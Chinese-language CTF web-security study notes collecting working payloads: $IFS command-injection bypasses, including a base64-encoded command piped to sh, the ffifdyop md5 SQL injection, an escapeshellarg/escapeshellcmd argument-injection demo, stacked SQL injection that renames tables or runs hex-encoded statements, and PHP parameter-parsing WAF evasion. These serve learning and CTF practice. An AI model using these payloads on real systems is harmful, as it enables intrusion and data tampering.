空格绕过方式:
$IFS ${IFS} $IFS$数字 < <>
三种绕过方式:
1.sh
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
2.变量拼接
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
3.内联注释(将反引号命令的结果作为输入来执行命令)
/?ip=127.0.0.1;cat$IFS$2`ls`
2|0md5()漏洞
ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
3|0escapeshellarg()与escapeshellcmd()漏洞
<?php $a="172.17.0.2' -v -d a=1"; $b=escapeshellarg($a); $c=escapeshellcmd($b); echo $a."<br/>".$b."<br/>".$c; system($c); ?>
输出
172.17.0.2' -v -d a=1
'172.17.0.2''' -v -d a=1'
'172.17.0.2''' -v -d a=1'
1.$a传入的参数是172.17.0.2' -v -d a=1
2.经过escapeshellargs()处理后成为'172.17.0.2'' -v -d a=1' 即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd()处理后成为'172.17.0.2''' -v -d a=1' 这是因为escapeshellcmd对以及最后那个不配对儿的引号进行了转义
4.最后执行的是 '172.17.0.2''' -v -d a=1',由于中间的被解释为而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。
所以可以简化为 172.17.0.2 -v -d a=1',即向172.17.0.2发起请求,POST 数据为a=1'。
这样就能绕过过滤进行注入。
4|0sql注入绕过关键字
获取信息
show databases; show tables; show columns from `table_name`;
修改表名
1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);#
预编译
1'; SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460; prepare execsql from @a; execute execsql;#
另外,新知识,HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#
5|0preg_replace/e的命令执行漏洞
6|0MYSQL特殊模式(set sql_mode=pipes_as_concat)
此模式下,输出字符串可以进行拼接
7|0PHP字符串解析特性(Easy Calc)
PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。
假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
另外scandir()可列出目录和文件,scandir(/)扫描目录下所有文件,如果 / 被过滤,可以用char(47)绕过